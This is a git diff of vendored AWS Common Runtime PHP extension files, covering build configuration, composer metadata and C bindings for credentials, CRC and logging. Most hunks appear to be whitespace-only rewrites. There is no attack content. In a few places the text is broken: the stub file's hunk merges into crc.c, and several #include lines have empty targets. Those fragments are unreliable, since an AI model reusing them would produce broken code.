-$(AWSCRT_DIR)\build\libaws-crt-ffi.lib: $(AWSCRT_DIR)\build\CMakeCache.txt - $(CMAKE_BUILD) $(AWSCRT_DIR)\build $(CMAKE_TARGET) - -# Force the awscrt extension DLL target to depend on the extension src -$(BUILD_DIR)\php_awscrt.dll: $(AWSCRT_DIR)\ext\awscrt.c - -$(AWSCRT_DIR)\ext\awscrt.c: $(AWSCRT_DIR)\build\libaws-crt-ffi.lib $(AWSCRT_DIR)\ext\api.h $(AWSCRT_DIR)\ext\awscrt_arginfo.h - -# transform\install api.h from FFI lib -$(AWSCRT_DIR)\src\api.h: $(AWSCRT_DIR)\crt\aws-crt-ffi\src\api.h - php $(AWSCRT_DIR)\gen_api.php $(AWSCRT_DIR)\crt\aws-crt-ffi\src\api.h > $(AWSCRT_DIR)\src\api.h - -# install api.h to ext/ as well -$(AWSCRT_DIR)\ext\api.h : $(AWSCRT_DIR)\src\api.h - copy $(AWSCRT_DIR)\src\api.h $(AWSCRT_DIR)\ext\api.h - -# Use PHPUnit to run tests -test-awscrt: install $(AWSCRT_DIR)\src\api.h $(BUILD_DIR)\php_awscrt.dll - $(PHP_BINARY) -c $(AWSCRT_DIR)\php-win.ini $(COMPOSER_PHAR) --working-dir=$(AWSCRT_DIR) update - $(PHP_BINARY) -c $(AWSCRT_DIR)\php-win.ini $(COMPOSER_PHAR) --working-dir=$(AWSCRT_DIR) run test-win + +CMAKE=cmake.exe +COMPOSER_PHAR=C:\ProgramData\ComposerSetup\bin\composer.phar +PHP_BINARY=$(PHP_PREFIX)\php.exe + +CMAKE_CONFIGURE = $(CMAKE) -DCMAKE_INSTALL_PREFIX=$(AWSCRT_DIR)\build\install -DCMAKE_PREFIX_PATH=$(AWSCRT_DIR)\build\install -DBUILD_TESTING=OFF -DCMAKE_BUILD_TYPE=$(CMAKE_BUILD_TYPE) +CMAKE_BUILD = $(CMAKE) --build +CMAKE_BUILD_TYPE = Release +CMAKE_TARGET = --config $(CMAKE_BUILD_TYPE) --target install + +# configure for static aws-crt-ffi.lib +$(AWSCRT_DIR)\build\CMakeCache.txt: + $(CMAKE_CONFIGURE) -H$(AWSCRT_DIR)\crt\aws-crt-ffi -B$(AWSCRT_DIR)\build -DBUILD_SHARED_LIBS=OFF + +# build static libaws-crt-ffi.lib +$(AWSCRT_DIR)\build\libaws-crt-ffi.lib: $(AWSCRT_DIR)\build\CMakeCache.txt + $(CMAKE_BUILD) $(AWSCRT_DIR)\build $(CMAKE_TARGET) + +# Force the awscrt extension DLL target to depend on the extension src +$(BUILD_DIR)\php_awscrt.dll: $(AWSCRT_DIR)\ext\awscrt.c + +$(AWSCRT_DIR)\ext\awscrt.c: $(AWSCRT_DIR)\build\libaws-crt-ffi.lib $(AWSCRT_DIR)\ext\api.h $(AWSCRT_DIR)\ext\awscrt_arginfo.h + +# transform\install api.h from FFI lib +$(AWSCRT_DIR)\src\api.h: $(AWSCRT_DIR)\crt\aws-crt-ffi\src\api.h + php $(AWSCRT_DIR)\gen_api.php $(AWSCRT_DIR)\crt\aws-crt-ffi\src\api.h > $(AWSCRT_DIR)\src\api.h + +# install api.h to ext/ as well +$(AWSCRT_DIR)\ext\api.h : $(AWSCRT_DIR)\src\api.h + copy $(AWSCRT_DIR)\src\api.h $(AWSCRT_DIR)\ext\api.h + +# Use PHPUnit to run tests +test-awscrt: install $(AWSCRT_DIR)\src\api.h $(BUILD_DIR)\php_awscrt.dll + $(PHP_BINARY) -c $(AWSCRT_DIR)\php-win.ini $(COMPOSER_PHAR) --working-dir=$(AWSCRT_DIR) update + $(PHP_BINARY) -c $(AWSCRT_DIR)\php-win.ini $(COMPOSER_PHAR) --working-dir=$(AWSCRT_DIR) run test-win diff --git a/vendor/aws/aws-crt-php/NOTICE b/vendor/aws/aws-crt-php/NOTICE index 82cfee9fea..616fc58894 100644 --- a/vendor/aws/aws-crt-php/NOTICE +++ b/vendor/aws/aws-crt-php/NOTICE @@ -1 +1 @@ -Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. diff --git a/vendor/aws/aws-crt-php/builder.json b/vendor/aws/aws-crt-php/builder.json index 8d86da5978..2c6f0be8e8 100644 --- a/vendor/aws/aws-crt-php/builder.json +++ b/vendor/aws/aws-crt-php/builder.json @@ -1,37 +1,37 @@ -{ - "name": "aws-crt-php", - "hosts": { - "ubuntu": { - "pkg_setup": [ - "add-apt-repository -y ppa:ondrej/php" - ], - "packages": [ - "autotools-dev", - "autoconf", - "libtool", - "clang", - "php5.6-dev" - ] - }, - "al2": { - "packages": [ - "autoconf", - "automake", - "libtool", - "clang", - "php-devel" - ] - } - }, - "build_steps": [ - ["phpize"], - ["./configure"], - ["make"] - ], - "test_env": { - "NO_INTERACTION": "1" - }, - "test_steps": [ - ["./run_tests"] - ] -} +{ + "name": "aws-crt-php", + "hosts": { + "ubuntu": { + "pkg_setup": [ + "add-apt-repository -y ppa:ondrej/php" + ], + "packages": [ + "autotools-dev", + "autoconf", + "libtool", + "clang", + "php5.6-dev" + ] + }, + "al2": { + "packages": [ + "autoconf", + "automake", + "libtool", + "clang", + "php-devel" + ] + } + }, + "build_steps": [ + ["phpize"], + ["./configure"], + ["make"] + ], + "test_env": { + "NO_INTERACTION": "1" + }, + "test_steps": [ + ["./run_tests"] + ] +} diff --git a/vendor/aws/aws-crt-php/composer.json b/vendor/aws/aws-crt-php/composer.json index 66c994a4b3..4b96140e75 100644 --- a/vendor/aws/aws-crt-php/composer.json +++ b/vendor/aws/aws-crt-php/composer.json @@ -1,34 +1,34 @@ -{ - "name": "aws/aws-crt-php", - "homepage": "http://aws.amazon.com/sdkforphp", - "description": "AWS Common Runtime for PHP", - "keywords": ["aws","amazon","sdk","crt"], - "type": "library", - "authors": [ - { - "name": "AWS SDK Common Runtime Team", - "email": "aws-sdk-common-runtime@amazon.com" - } - ], - "config": { - "platform": {"php": "5.6"} - }, - "minimum-stability": "alpha", - "require": { - "php": ">=5.5" - }, - "require-dev": { - "phpunit/phpunit":"^4.8.35|^5.4.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "scripts": { - "test": "./run_tests", - "test-extension": "@test", - "test-win": "run_tests" - }, - "license": "Apache-2.0" -} +{ + "name": "aws/aws-crt-php", + "homepage": "http://aws.amazon.com/sdkforphp", + "description": "AWS Common Runtime for PHP", + "keywords": ["aws","amazon","sdk","crt"], + "type": "library", + "authors": [ + { + "name": "AWS SDK Common Runtime Team", + "email": "aws-sdk-common-runtime@amazon.com" + } + ], + "config": { + "platform": {"php": "5.6"} + }, + "minimum-stability": "alpha", + "require": { + "php": ">=5.5" + }, + "require-dev": { + "phpunit/phpunit":"^4.8.35|^5.4.3" + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "scripts": { + "test": "./run_tests", + "test-extension": "@test", + "test-win": "run_tests" + }, + "license": "Apache-2.0" +} diff --git a/vendor/aws/aws-crt-php/config.m4 b/vendor/aws/aws-crt-php/config.m4 index 8b8e59139a..c65e3a848e 100644 --- a/vendor/aws/aws-crt-php/config.m4 +++ b/vendor/aws/aws-crt-php/config.m4 @@ -1,30 +1,30 @@ -dnl -dnl * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. -dnl * SPDX-License-Identifier: Apache-2.0. -dnl - -PHP_ARG_WITH(awscrt, for AWS Common Runtime support, - [ --with-awscrt Include awscrt support]) - -if test "$PHP_AWSCRT" != "no"; then - # force lib paths to be absolute, or PHP will mangle them - cwd=`pwd` - # Enable s2n and libcrypto for non-darwin UNIX - if uname -a | grep -i darwin > /dev/null 2>&1; then - platform_tls_libs="" - else - platform_tls_libs="-ls2n -lcrypto" - fi - CRT_LIBPATHS="-L${cwd}/build/install/lib -L${cwd}/build/install/lib64" - CRT_LIBS="-laws-crt-ffi -laws-c-auth -laws-c-http -laws-c-io -laws-c-cal -laws-c-compression -laws-checksums -laws-c-common ${platform_tls_libs}" - PHP_ADD_INCLUDE(${cwd}/build/install/include) - PHP_EVAL_LIBLINE([$CRT_LIBPATHS $CRT_LIBS], AWSCRT_SHARED_LIBADD) - - # Shoves the linker line into the Makefile - PHP_SUBST(AWSCRT_SHARED_LIBADD) - - # Sources for the PHP extension itself - AWSCRT_SOURCES=ext/awscrt.c - PHP_NEW_EXTENSION(awscrt, $AWSCRT_SOURCES, $ext_shared) - PHP_ADD_MAKEFILE_FRAGMENT -fi +dnl +dnl * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +dnl * SPDX-License-Identifier: Apache-2.0. +dnl + +PHP_ARG_WITH(awscrt, for AWS Common Runtime support, + [ --with-awscrt Include awscrt support]) + +if test "$PHP_AWSCRT" != "no"; then + # force lib paths to be absolute, or PHP will mangle them + cwd=`pwd` + # Enable s2n and libcrypto for non-darwin UNIX + if uname -a | grep -i darwin > /dev/null 2>&1; then + platform_tls_libs="" + else + platform_tls_libs="-ls2n -lcrypto" + fi + CRT_LIBPATHS="-L${cwd}/build/install/lib -L${cwd}/build/install/lib64" + CRT_LIBS="-laws-crt-ffi -laws-c-auth -laws-c-http -laws-c-io -laws-c-cal -laws-c-compression -laws-checksums -laws-c-common ${platform_tls_libs}" + PHP_ADD_INCLUDE(${cwd}/build/install/include) + PHP_EVAL_LIBLINE([$CRT_LIBPATHS $CRT_LIBS], AWSCRT_SHARED_LIBADD) + + # Shoves the linker line into the Makefile + PHP_SUBST(AWSCRT_SHARED_LIBADD) + + # Sources for the PHP extension itself + AWSCRT_SOURCES=ext/awscrt.c + PHP_NEW_EXTENSION(awscrt, $AWSCRT_SOURCES, $ext_shared) + PHP_ADD_MAKEFILE_FRAGMENT +fi diff --git a/vendor/aws/aws-crt-php/config.w32 b/vendor/aws/aws-crt-php/config.w32 index 50ae9530df..ed084023f9 100644 --- a/vendor/aws/aws-crt-php/config.w32 +++ b/vendor/aws/aws-crt-php/config.w32 @@ -1,13 +1,13 @@ -// vim:ft=javascript - -ARG_ENABLE("awscrt", "Include AWS Common Runtime support", "yes"); - -if (PHP_AWSCRT != "no") { - ADD_MAKEFILE_FRAGMENT(); - DEFINE('CFLAGS_AWSCRT', '/I ' + configure_module_dirname + '\\build\\install\\include'); - DEFINE('LIBS_AWSCRT', '/LIBPATH:' + configure_module_dirname + '\\build\\install\\lib ' + - 'aws-crt-ffi.lib aws-c-auth.lib aws-c-http.lib aws-c-io.lib aws-c-cal.lib aws-c-compression.lib aws-c-common.lib ' + - 'ncrypt.lib Secur32.lib Crypt32.lib Shlwapi.lib'); - DEFINE('AWSCRT_DIR', configure_module_dirname); - EXTENSION("awscrt", "ext\\awscrt.c", PHP_AWSCRT_SHARED); -} +// vim:ft=javascript + +ARG_ENABLE("awscrt", "Include AWS Common Runtime support", "yes"); + +if (PHP_AWSCRT != "no") { + ADD_MAKEFILE_FRAGMENT(); + DEFINE('CFLAGS_AWSCRT', '/I ' + configure_module_dirname + '\\build\\install\\include'); + DEFINE('LIBS_AWSCRT', '/LIBPATH:' + configure_module_dirname + '\\build\\install\\lib ' + + 'aws-crt-ffi.lib aws-c-auth.lib aws-c-http.lib aws-c-io.lib aws-c-cal.lib aws-c-compression.lib aws-c-common.lib ' + + 'ncrypt.lib Secur32.lib Crypt32.lib Shlwapi.lib'); + DEFINE('AWSCRT_DIR', configure_module_dirname); + EXTENSION("awscrt", "ext\\awscrt.c", PHP_AWSCRT_SHARED); +} diff --git a/vendor/aws/aws-crt-php/ext/.gitignore b/vendor/aws/aws-crt-php/ext/.gitignore new file mode 100644 index 0000000000..2973c979d7 --- /dev/null +++ b/vendor/aws/aws-crt-php/ext/.gitignore @@ -0,0 +1,2 @@ +*.so +api.h diff --git a/vendor/aws/aws-crt-php/ext/awscrt.c b/vendor/aws/aws-crt-php/ext/awscrt.c index 169a158e0e..0ee0f74acc 100644 --- a/vendor/aws/aws-crt-php/ext/awscrt.c +++ b/vendor/aws/aws-crt-php/ext/awscrt.c @@ -1,17 +1,17 @@ -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -/* This is a unity-build style source file, as PHP's build system is simplest with 1 source file per extension */ - -#include "credentials.c" -#include "crt.c" -#include "event_loop.c" -#include "http.c" -#include "signing.c" -#include "stream.c" -// #include "hash.c" -#include "crc.c" -#include "logging.c" -#include "php_util.c" +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +/* This is a unity-build style source file, as PHP's build system is simplest with 1 source file per extension */ + +#include "credentials.c" +#include "crt.c" +#include "event_loop.c" +#include "http.c" +#include "signing.c" +#include "stream.c" +// #include "hash.c" +#include "crc.c" +#include "logging.c" +#include "php_util.c" diff --git a/vendor/aws/aws-crt-php/ext/awscrt.stub.php b/vendor/aws/aws-crt-php/ext/awscrt.stub.php index 899d1aa426..5a8d837e30 100644 --- a/vendor/aws/aws-crt-php/ext/awscrt.stub.php +++ b/vendor/aws/aws-crt-php/ext/awscrt.stub.php @@ -1,88 +1,88 @@ - UINT32_MAX) { - aws_php_throw_exception("previous crc cannot be larger than UINT32_MAX"); - } - RETURN_LONG((zend_ulong)aws_crt_crc32((const uint8_t *)input, len, prev)); -} - -PHP_FUNCTION(aws_crt_crc32c) { - zend_ulong prev = 0; - const char *input = NULL; - size_t len = 0; - - aws_php_parse_parameters("sl", &input, &len, &prev); - - if (prev > UINT32_MAX) { - aws_php_throw_exception("previous crc cannot be larger than UINT32_MAX"); - } - RETURN_LONG((zend_ulong)aws_crt_crc32c((const uint8_t *)input, len, prev)); -} +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#include "php_aws_crt.h" + +PHP_FUNCTION(aws_crt_crc32) { + zend_ulong prev = 0; + const char *input = NULL; + size_t len = 0; + + aws_php_parse_parameters("sl", &input, &len, &prev); + + if (prev > UINT32_MAX) { + aws_php_throw_exception("previous crc cannot be larger than UINT32_MAX"); + } + RETURN_LONG((zend_ulong)aws_crt_crc32((const uint8_t *)input, len, prev)); +} + +PHP_FUNCTION(aws_crt_crc32c) { + zend_ulong prev = 0; + const char *input = NULL; + size_t len = 0; + + aws_php_parse_parameters("sl", &input, &len, &prev); + + if (prev > UINT32_MAX) { + aws_php_throw_exception("previous crc cannot be larger than UINT32_MAX"); + } + RETURN_LONG((zend_ulong)aws_crt_crc32c((const uint8_t *)input, len, prev)); +} diff --git a/vendor/aws/aws-crt-php/ext/credentials.c b/vendor/aws/aws-crt-php/ext/credentials.c index 72e3e83030..f361f082f5 100644 --- a/vendor/aws/aws-crt-php/ext/credentials.c +++ b/vendor/aws/aws-crt-php/ext/credentials.c @@ -1,154 +1,154 @@ -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -#include "php_aws_crt.h" - -PHP_FUNCTION(aws_crt_credentials_options_new) { - aws_crt_credentials_options *options = aws_crt_credentials_options_new(); - RETURN_LONG((zend_ulong)options); -} - -PHP_FUNCTION(aws_crt_credentials_options_release) { - zend_ulong php_options = 0; - - aws_php_parse_parameters("l", &php_options); - - aws_crt_credentials_options *options = (void *)php_options; - aws_crt_credentials_options_release(options); -} - -PHP_FUNCTION(aws_crt_credentials_options_set_access_key_id) { - zend_ulong php_options = 0; - const char *access_key_id = NULL; - size_t access_key_id_len = 0; - - aws_php_parse_parameters("ls", &php_options, &access_key_id, &access_key_id_len); - - aws_crt_credentials_options *options = (void *)php_options; - aws_crt_credentials_options_set_access_key_id(options, (uint8_t *)access_key_id, access_key_id_len); -} - -PHP_FUNCTION(aws_crt_credentials_options_set_secret_access_key) { - zend_ulong php_options = 0; - const char *secret_access_key = NULL; - size_t secret_access_key_len = 0; - - if (zend_parse_parameters(ZEND_NUM_ARGS(), "ls", &php_options, &secret_access_key, &secret_access_key_len) == - FAILURE) { - RETURN_NULL(); - } - - aws_crt_credentials_options *options = (void *)php_options; - aws_crt_credentials_options_set_secret_access_key(options, (uint8_t *)secret_access_key, secret_access_key_len); -} - -PHP_FUNCTION(aws_crt_credentials_options_set_session_token) { - zend_ulong php_options = 0; - const char *session_token = NULL; - size_t session_token_len = 0; - - aws_php_parse_parameters("ls", &php_options, &session_token, &session_token_len); - - aws_crt_credentials_options *options = (void *)php_options; - aws_crt_credentials_options_set_session_token(options, (uint8_t *)session_token, session_token_len); -} - -PHP_FUNCTION(aws_crt_credentials_options_set_expiration_timepoint_seconds) { - zend_ulong php_options = 0; - zend_ulong expiration_timepoint_seconds = 0; - aws_php_parse_parameters("ll", &php_options, &expiration_timepoint_seconds); - - aws_crt_credentials_options *options = (void *)php_options; - aws_crt_credentials_options_set_expiration_timepoint_seconds(options, expiration_timepoint_seconds); -} - -PHP_FUNCTION(aws_crt_credentials_new) { - zend_ulong php_options = 0; - - aws_php_parse_parameters("l", &php_options); - - aws_crt_credentials_options *options = (void *)php_options; - aws_crt_credentials *credentials = aws_crt_credentials_new(options); - RETURN_LONG((zend_ulong)credentials); -} - -PHP_FUNCTION(aws_crt_credentials_release) { - zend_ulong php_credentials = 0; - - aws_php_parse_parameters("l", &php_credentials); - - aws_crt_credentials *credentials = (void *)php_credentials; - aws_crt_credentials_release(credentials); -} - -PHP_FUNCTION(aws_crt_credentials_provider_release) { - zend_ulong php_creds_provider = 0; - - aws_php_parse_parameters("l", &php_creds_provider); - - aws_crt_credentials_provider *provider = (void *)php_creds_provider; - aws_crt_credentials_provider_release(provider); -} - -PHP_FUNCTION(aws_crt_credentials_provider_static_options_new) { - aws_crt_credentials_provider_static_options *options = aws_crt_credentials_provider_static_options_new(); - RETURN_LONG((zend_ulong)options); -} - -PHP_FUNCTION(aws_crt_credentials_provider_static_options_release) { - zend_ulong php_options = 0; - - aws_php_parse_parameters("l", &php_options); - - aws_crt_credentials_provider_static_options *options = (void *)php_options; - aws_crt_credentials_provider_static_options_release(options); -} - -PHP_FUNCTION(aws_crt_credentials_provider_static_options_set_access_key_id) { - zend_ulong php_options = 0; - const char *access_key_id = NULL; - size_t access_key_id_len = 0; - - aws_php_parse_parameters("ls", &php_options, &access_key_id, &access_key_id_len); - - aws_crt_credentials_provider_static_options *options = (void *)php_options; - aws_crt_credentials_provider_static_options_set_access_key_id(options, (uint8_t *)access_key_id, access_key_id_len); -} - -PHP_FUNCTION(aws_crt_credentials_provider_static_options_set_secret_access_key) { - zend_ulong php_options = 0; - const char *secret_access_key = NULL; - size_t secret_access_key_len = 0; - - if (zend_parse_parameters(ZEND_NUM_ARGS(), "ls", &php_options, &secret_access_key, &secret_access_key_len) == - FAILURE) { - RETURN_NULL(); - } - - aws_crt_credentials_provider_static_options *options = (void *)php_options; - aws_crt_credentials_provider_static_options_set_secret_access_key( - options, (uint8_t *)secret_access_key, secret_access_key_len); -} - -PHP_FUNCTION(aws_crt_credentials_provider_static_options_set_session_token) { - zend_ulong php_options = 0; - const char *session_token = NULL; - size_t session_token_len = 0; - - aws_php_parse_parameters("ls", &php_options, &session_token, &session_token_len); - - aws_crt_credentials_provider_static_options *options = (void *)php_options; - aws_crt_credentials_provider_static_options_set_session_token(options, (uint8_t *)session_token, session_token_len); -} - -PHP_FUNCTION(aws_crt_credentials_provider_static_new) { - zend_ulong php_options = 0; - - aws_php_parse_parameters("l", &php_options); - - aws_crt_credentials_provider_static_options *options = (void *)php_options; - aws_crt_credentials_provider *provider = aws_crt_credentials_provider_static_new(options); - RETURN_LONG((zend_ulong)provider); -} +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#include "php_aws_crt.h" + +PHP_FUNCTION(aws_crt_credentials_options_new) { + aws_crt_credentials_options *options = aws_crt_credentials_options_new(); + RETURN_LONG((zend_ulong)options); +} + +PHP_FUNCTION(aws_crt_credentials_options_release) { + zend_ulong php_options = 0; + + aws_php_parse_parameters("l", &php_options); + + aws_crt_credentials_options *options = (void *)php_options; + aws_crt_credentials_options_release(options); +} + +PHP_FUNCTION(aws_crt_credentials_options_set_access_key_id) { + zend_ulong php_options = 0; + const char *access_key_id = NULL; + size_t access_key_id_len = 0; + + aws_php_parse_parameters("ls", &php_options, &access_key_id, &access_key_id_len); + + aws_crt_credentials_options *options = (void *)php_options; + aws_crt_credentials_options_set_access_key_id(options, (uint8_t *)access_key_id, access_key_id_len); +} + +PHP_FUNCTION(aws_crt_credentials_options_set_secret_access_key) { + zend_ulong php_options = 0; + const char *secret_access_key = NULL; + size_t secret_access_key_len = 0; + + if (zend_parse_parameters(ZEND_NUM_ARGS(), "ls", &php_options, &secret_access_key, &secret_access_key_len) == + FAILURE) { + RETURN_NULL(); + } + + aws_crt_credentials_options *options = (void *)php_options; + aws_crt_credentials_options_set_secret_access_key(options, (uint8_t *)secret_access_key, secret_access_key_len); +} + +PHP_FUNCTION(aws_crt_credentials_options_set_session_token) { + zend_ulong php_options = 0; + const char *session_token = NULL; + size_t session_token_len = 0; + + aws_php_parse_parameters("ls", &php_options, &session_token, &session_token_len); + + aws_crt_credentials_options *options = (void *)php_options; + aws_crt_credentials_options_set_session_token(options, (uint8_t *)session_token, session_token_len); +} + +PHP_FUNCTION(aws_crt_credentials_options_set_expiration_timepoint_seconds) { + zend_ulong php_options = 0; + zend_ulong expiration_timepoint_seconds = 0; + aws_php_parse_parameters("ll", &php_options, &expiration_timepoint_seconds); + + aws_crt_credentials_options *options = (void *)php_options; + aws_crt_credentials_options_set_expiration_timepoint_seconds(options, expiration_timepoint_seconds); +} + +PHP_FUNCTION(aws_crt_credentials_new) { + zend_ulong php_options = 0; + + aws_php_parse_parameters("l", &php_options); + + aws_crt_credentials_options *options = (void *)php_options; + aws_crt_credentials *credentials = aws_crt_credentials_new(options); + RETURN_LONG((zend_ulong)credentials); +} + +PHP_FUNCTION(aws_crt_credentials_release) { + zend_ulong php_credentials = 0; + + aws_php_parse_parameters("l", &php_credentials); + + aws_crt_credentials *credentials = (void *)php_credentials; + aws_crt_credentials_release(credentials); +} + +PHP_FUNCTION(aws_crt_credentials_provider_release) { + zend_ulong php_creds_provider = 0; + + aws_php_parse_parameters("l", &php_creds_provider); + + aws_crt_credentials_provider *provider = (void *)php_creds_provider; + aws_crt_credentials_provider_release(provider); +} + +PHP_FUNCTION(aws_crt_credentials_provider_static_options_new) { + aws_crt_credentials_provider_static_options *options = aws_crt_credentials_provider_static_options_new(); + RETURN_LONG((zend_ulong)options); +} + +PHP_FUNCTION(aws_crt_credentials_provider_static_options_release) { + zend_ulong php_options = 0; + + aws_php_parse_parameters("l", &php_options); + + aws_crt_credentials_provider_static_options *options = (void *)php_options; + aws_crt_credentials_provider_static_options_release(options); +} + +PHP_FUNCTION(aws_crt_credentials_provider_static_options_set_access_key_id) { + zend_ulong php_options = 0; + const char *access_key_id = NULL; + size_t access_key_id_len = 0; + + aws_php_parse_parameters("ls", &php_options, &access_key_id, &access_key_id_len); + + aws_crt_credentials_provider_static_options *options = (void *)php_options; + aws_crt_credentials_provider_static_options_set_access_key_id(options, (uint8_t *)access_key_id, access_key_id_len); +} + +PHP_FUNCTION(aws_crt_credentials_provider_static_options_set_secret_access_key) { + zend_ulong php_options = 0; + const char *secret_access_key = NULL; + size_t secret_access_key_len = 0; + + if (zend_parse_parameters(ZEND_NUM_ARGS(), "ls", &php_options, &secret_access_key, &secret_access_key_len) == + FAILURE) { + RETURN_NULL(); + } + + aws_crt_credentials_provider_static_options *options = (void *)php_options; + aws_crt_credentials_provider_static_options_set_secret_access_key( + options, (uint8_t *)secret_access_key, secret_access_key_len); +} + +PHP_FUNCTION(aws_crt_credentials_provider_static_options_set_session_token) { + zend_ulong php_options = 0; + const char *session_token = NULL; + size_t session_token_len = 0; + + aws_php_parse_parameters("ls", &php_options, &session_token, &session_token_len); + + aws_crt_credentials_provider_static_options *options = (void *)php_options; + aws_crt_credentials_provider_static_options_set_session_token(options, (uint8_t *)session_token, session_token_len); +} + +PHP_FUNCTION(aws_crt_credentials_provider_static_new) { + zend_ulong php_options = 0; + + aws_php_parse_parameters("l", &php_options); + + aws_crt_credentials_provider_static_options *options = (void *)php_options; + aws_crt_credentials_provider *provider = aws_crt_credentials_provider_static_new(options); + RETURN_LONG((zend_ulong)provider); +} diff --git a/vendor/aws/aws-crt-php/ext/logging.c b/vendor/aws/aws-crt-php/ext/logging.c index 11dca9d2f8..15fdadefe0 100644 --- a/vendor/aws/aws-crt-php/ext/logging.c +++ b/vendor/aws/aws-crt-php/ext/logging.c @@ -1,65 +1,65 @@ -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -#include "php_aws_crt.h" - -PHP_FUNCTION(aws_crt_log_to_stdout) { - aws_php_parse_parameters_none(); - aws_crt_log_to_stdout(); -} - -PHP_FUNCTION(aws_crt_log_to_stderr) { - aws_php_parse_parameters_none(); - aws_crt_log_to_stderr(); -} - -PHP_FUNCTION(aws_crt_log_to_file) { - const char *filename = NULL; - size_t filename_len = 0; - /* read the filename as a path, which guarantees no NUL bytes */ - aws_php_parse_parameters("p", &filename, &filename_len); - aws_crt_log_to_file(filename); -} - -static void php_crt_log(const char *message, size_t len, void *user_data) { - php_stream *stream = user_data; - php_stream_write(stream, message, len); - php_stream_flush(stream); -} - -PHP_FUNCTION(aws_crt_log_to_stream) { - zval *php_log_stream = NULL; - aws_php_parse_parameters("r", &php_log_stream); - - if (php_log_stream) { - php_stream *stream = NULL; - Z_ADDREF(*php_log_stream); - AWS_PHP_STREAM_FROM_ZVAL(stream, php_log_stream); - aws_crt_log_to_callback((aws_crt_log_callback *)php_crt_log, stream); - } else { - aws_crt_log_to_callback(NULL, NULL); - } -} - -PHP_FUNCTION(aws_crt_log_set_level) { - zend_ulong log_level = 0; - aws_php_parse_parameters("l", &log_level); - aws_crt_log_set_level((aws_crt_log_level)log_level); -} - -PHP_FUNCTION(aws_crt_log_stop) { - aws_php_parse_parameters_none(); - aws_crt_log_stop(); -} - -PHP_FUNCTION(aws_crt_log_message) { - zend_ulong log_level = 0; - const char *message = NULL; - size_t message_len = 0; - - aws_php_parse_parameters("ls", &log_level, &message, &message_len); - - aws_crt_log_message((aws_crt_log_level)log_level, (const uint8_t *)message, message_len); -} +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#include "php_aws_crt.h" + +PHP_FUNCTION(aws_crt_log_to_stdout) { + aws_php_parse_parameters_none(); + aws_crt_log_to_stdout(); +} + +PHP_FUNCTION(aws_crt_log_to_stderr) { + aws_php_parse_parameters_none(); + aws_crt_log_to_stderr(); +} + +PHP_FUNCTION(aws_crt_log_to_file) { + const char *filename = NULL; + size_t filename_len = 0; + /* read the filename as a path, which guarantees no NUL bytes */ + aws_php_parse_parameters("p", &filename, &filename_len); + aws_crt_log_to_file(filename); +} + +static void php_crt_log(const char *message, size_t len, void *user_data) { + php_stream *stream = user_data; + php_stream_write(stream, message, len); + php_stream_flush(stream); +} + +PHP_FUNCTION(aws_crt_log_to_stream) { + zval *php_log_stream = NULL; + aws_php_parse_parameters("r", &php_log_stream); + + if (php_log_stream) { + php_stream *stream = NULL; + Z_ADDREF(*php_log_stream); + AWS_PHP_STREAM_FROM_ZVAL(stream, php_log_stream); + aws_crt_log_to_callback((aws_crt_log_callback *)php_crt_log, stream); + } else { + aws_crt_log_to_callback(NULL, NULL); + } +} + +PHP_FUNCTION(aws_crt_log_set_level) { + zend_ulong log_level = 0; + aws_php_parse_parameters("l", &log_level); + aws_crt_log_set_level((aws_crt_log_level)log_level); +} + +PHP_FUNCTION(aws_crt_log_stop) { + aws_php_parse_parameters_none(); + aws_crt_log_stop(); +} + +PHP_FUNCTION(aws_crt_log_message) { + zend_ulong log_level = 0; + const char *message = NULL; + size_t message_len = 0; + + aws_php_parse_parameters("ls", &log_level, &message, &message_len); + + aws_crt_log_message((aws_crt_log_level)log_level, (const uint8_t *)message, message_len); +} diff --git a/vendor/aws/aws-crt-php/ext/php_aws_crt.h b/vendor/aws/aws-crt-php/ext/php_aws_crt.h index 60d12dbfe2..9393a0b4b2 100644 --- a/vendor/aws/aws-crt-php/ext/php_aws_crt.h +++ b/vendor/aws/aws-crt-php/ext/php_aws_crt.h @@ -1,171 +1,171 @@ - -#ifndef PHP_AWS_CRT_H -#define PHP_AWS_CRT_H - -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -#ifdef HAVE_CONFIG_H -# include "config.h" -#endif - -#include "php.h" - -#include "Zend/zend_extensions.h" /* for ZEND_EXTENSION_API_NO */ - -#include -#include -#include -#include - -/* ZEND_EXTENSION_API_NO from each branch of the PHP source */ -#define AWS_PHP_EXTENSION_API_5_5 220121212 -#define AWS_PHP_EXTENSION_API_5_6 220131226 -#define AWS_PHP_EXTENSION_API_7_0 320151012 -#define AWS_PHP_EXTENSION_API_7_1 320160303 -#define AWS_PHP_EXTENSION_API_7_2 320170718 -#define AWS_PHP_EXTENSION_API_7_3 320180731 -#define AWS_PHP_EXTENSION_API_7_4 320190902 -#define AWS_PHP_EXTENSION_API_8_0 420200930 - -#if ZEND_EXTENSION_API_NO < AWS_PHP_EXTENSION_API_5_5 -# error "PHP >= 5.5 is required" -#endif - -#define AWS_PHP_AT_LEAST_7 (ZEND_EXTENSION_API_NO >= AWS_PHP_EXTENSION_API_7_0) -#define AWS_PHP_AT_LEAST_7_2 (ZEND_EXTENSION_API_NO >= AWS_PHP_EXTENSION_API_7_2) - -ZEND_BEGIN_MODULE_GLOBALS(awscrt) -long log_level; -ZEND_END_MODULE_GLOBALS(awscrt) - 